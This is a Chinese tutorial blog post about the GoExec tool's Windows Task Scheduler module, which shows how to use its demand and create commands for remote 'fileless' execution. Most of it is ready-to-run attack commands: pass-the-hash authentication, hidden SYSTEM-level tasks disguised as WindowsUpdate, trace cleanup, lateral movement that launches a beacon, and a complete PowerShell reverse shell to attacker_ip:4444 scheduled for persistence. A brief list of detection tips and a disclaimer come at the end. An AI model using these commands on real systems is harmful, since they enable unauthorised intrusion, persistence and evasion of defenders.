GoExec任务计划模块实战:demand与create命令实现无文件落地攻击

📅 2026/7/4 21:51:06 👁️ 阅读次数 📝 编程学习
GoExec任务计划模块实战:demand与create命令实现无文件落地攻击

GoExec任务计划模块实战:demand与create命令实现无文件落地攻击

【免费下载链接】goexecWindows remote execution multitool项目地址: https://gitcode.com/gh_mirrors/goe/goexec

GoExec是一个功能强大的Windows远程执行工具,专门为红队渗透测试和系统管理员设计,提供了多种无文件落地的远程执行方法。本文将重点介绍GoExec任务计划模块中的demandcreate命令,这两个命令利用Windows任务计划服务(MS-TSCH)实现无文件落地攻击,是红队操作中非常实用的技术手段。

📋 任务计划模块简介

GoExec的tsch模块利用Windows任务计划服务(MS-TSCH)在远程目标上执行命令,避免了传统文件落地攻击的痕迹。该模块提供了三种主要方法:

  1. demand命令- 注册任务并立即启动执行
  2. create命令- 创建定时任务自动执行
  3. change命令- 修改现有任务定义

这些方法都通过pkg/goexec/tsch/tsch.go中的XML任务定义机制实现,确保与Windows任务计划服务的完全兼容。

🚀 demand命令:即时任务执行

demand命令的核心优势在于能够立即执行远程任务,无需等待定时触发。让我们深入了解它的工作原理:

核心技术实现

在cmd/tsch.go中,demand命令通过以下关键步骤实现:

// 注册任务定义 path, err := m.registerTask(ctx, &registerOptions{ AllowStartOnDemand: true, AllowHardTerminate: true, Hidden: !m.NotHidden, triggers: taskTriggers{}, }, execIO)

注册成功后,命令调用SchRpcRun强制启动任务:

runResponse, err := m.tsch.Run(ctx, &itaskschedulerservice.RunRequest{ Path: path, Flags: flags, SessionID: m.SessionId, })

会话劫持功能

demand命令支持会话劫持,可以指定--session参数在特定桌面会话中执行任务:

# 在会话1中执行notepad.exe goexec tsch demand $target --user "$auth_user" --password "$auth_pass" \ --exec 'notepad.exe' --session 1

自动清理机制

默认情况下,任务执行后会自动删除,避免留下痕迹:

if !m.NoDelete { m.AddCleaners(func(ctxInner context.Context) error { return m.deleteTask(ctxInner, path) }) }

⏰ create命令:定时任务执行

create命令采用更隐蔽的方式,通过设置定时触发来执行任务,减少了即时网络活动,提高了隐蔽性。

智能定时机制

在pkg/goexec/tsch/create.go中,create命令实现了灵活的定时控制:

startTime := time.Now().UTC().Add(m.StartDelay) stopTime := startTime.Add(m.StopDelay) trigger := taskTimeTrigger{ StartBoundary: startTime.Format(TaskXmlDurationFormat), Enabled: true, }

自动删除策略

create命令提供了两种清理方式:

  1. DeleteExpiredTaskAfter设置- 通过XML配置自动删除
  2. 直接调用SchRpcDelete- 使用--call-delete参数
if !m.NoDelete && !m.CallDelete { trigger.EndBoundary = stopTime.Format(TaskXmlDurationFormat) deleteAfter = xmlDuration(m.DeleteDelay) }

实战应用示例

# 使用Kerberos认证,创建定时任务执行Seatbelt工具 goexec tsch create "$target" \ --user "${auth_user}@${domain}" \ --dc "$dc_ip" \ --aes-key "$auth_aes" \ --command 'C:\Windows\Temp\Seatbelt.exe -group=system' \ --out ./seatbelt.out \ --out-timeout 5m

🔧 任务XML定义详解

GoExec的任务定义在pkg/goexec/tsch/task/task.go中实现,包含完整的任务配置:

<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> <Triggers> <TimeTrigger> <StartBoundary>2024-01-01T00:00:00Z</StartBoundary> <Enabled>true</Enabled> </TimeTrigger> </Triggers> <Actions Context="Author"> <Exec> <Command>C:\Windows\System32\cmd.exe</Command> <Arguments>/c whoami</Arguments> </Exec> </Actions> <Principals> <Principal id="Author"> <UserId>S-1-5-18</UserId> <RunLevel>HighestAvailable</RunLevel> </Principal> </Principals> <Settings> <AllowStartOnDemand>true</AllowStartOnDemand> <AllowHardTerminate>true</AllowHardTerminate> <Hidden>true</Hidden> </Settings> </Task>

🛡️ 安全与隐蔽性设计

1. 无文件落地优势

  • 直接在内存中执行命令,不写入磁盘
  • 减少防病毒软件检测概率
  • 避免留下文件系统痕迹

2. 任务隐藏技术

Settings: taskSettings{ Hidden: !m.NotHidden, AllowStartOnDemand: true, AllowHardTerminate: true, }

3. 身份模拟机制

# 使用SYSTEM账户执行 goexec tsch demand $target --user "$auth_user" --password "$auth_pass" \ --exec 'cmd.exe' --args '/c whoami /priv' --sid "S-1-5-18"

📊 demand与create命令对比

特性demand命令create命令
执行时机立即执行定时执行
网络活动立即触发延迟触发
隐蔽性较低较高
适用场景快速执行持久化/定时
自动清理可选自动/可选
会话劫持支持不支持

🎯 实战应用场景

场景1:快速信息收集

# 使用demand命令快速收集系统信息 goexec tsch demand "$target" \ --user "${auth_user}@${domain}" \ --nt-hash "$auth_nt" \ --exec 'C:\Windows\System32\cmd.exe' \ --args '/c systeminfo & whoami /all & netstat -ano' \ --out ./system_info.txt

场景2:定时持久化

# 使用create命令设置定时反向shell goexec tsch create "$target" \ --user "$auth_user" \ --password "$auth_pass" \ --task '\Microsoft\Windows\Maintenance\WindowsUpdate' \ --exec 'powershell.exe' \ --args '-nop -c "$client = New-Object System.Net.Sockets.TCPClient(\"attacker_ip\",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"' \ --start-delay 2m \ --delay-stop 30s

场景3:权限提升与横向移动

# 结合WMI和任务计划进行横向移动 goexec wmi proc "$target1" \ --user "$admin_user" \ --password "$admin_pass" \ --exec 'goexec.exe' \ --args 'tsch demand $target2 --user "$admin_user" --password "$admin_pass" --exec "C:\\Windows\\Temp\\beacon.exe"'

🔍 检测与防御建议

检测指标

  1. 任务计划日志异常- 监控SchRpcRegisterTask和SchRpcRun调用
  2. XML任务定义分析- 检查Hidden=true的任务
  3. SYSTEM账户异常活动- 监控S-1-5-18账户的任务执行
  4. 网络流量模式- 检测异常的MS-TSCH协议流量

防御措施

  1. 最小权限原则- 限制任务计划服务权限
  2. 日志监控- 启用详细的任务计划审计
  3. 网络分段- 限制任务计划服务的网络访问
  4. 定期审查- 检查异常任务定义

💡 最佳实践建议

1. 选择合适的执行方法

  • 快速执行选demand,持久化选create
  • 考虑目标环境的时间同步状态
  • 评估网络监控强度

2. 认证方式选择

# Kerberos认证(推荐) goexec tsch demand $target --user "user@domain" --kerberos --dc dc_ip # NTLM哈希认证 goexec tsch create $target --user "user" --nt-hash "ntlm_hash" # 密码认证 goexec tsch change $target --user "user" --password "password"

3. 输出收集策略

# 使用SMB收集输出 goexec tsch demand $target --exec "cmd.exe" --args "/c ipconfig" --out - # 保存到文件 goexec tsch create $target --exec "powershell.exe" --args "-c Get-Process" --out ./processes.txt # 延长超时时间 goexec tsch demand $target --exec "long_running.exe" --out-timeout 10m

📈 性能优化技巧

1. 减少网络往返

  • 使用--no-delete避免额外的删除调用
  • 合理设置--start-delay--delay-stop
  • 批量执行相关命令

2. 错误处理优化

# 启用调试日志 goexec tsch demand $target --debug --exec "cmd.exe" --args "/c net user" # 使用重试机制 for i in {1..3}; do goexec tsch create $target --exec "payload.exe" && break sleep 5 done

🎓 总结

GoExec的tsch模块通过demandcreate命令提供了两种强大的无文件落地攻击方式。demand命令适合需要立即执行的场景,而create命令更适合持久化和定时任务。两者的核心都在于利用Windows任务计划服务的合法功能实现隐蔽执行,避免了传统文件落地攻击的检测风险。

通过合理配置任务参数、选择适当的认证方式和优化执行策略,红队成员可以有效地利用这些工具进行渗透测试和权限维持。同时,防御方也应了解这些技术的工作原理,以便更好地检测和防御此类攻击。

记住,这些技术仅应用于授权的安全测试和合法的系统管理场景。在实际使用中,请确保遵守相关法律法规和授权范围。

【免费下载链接】goexecWindows remote execution multitool项目地址: https://gitcode.com/gh_mirrors/goe/goexec

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考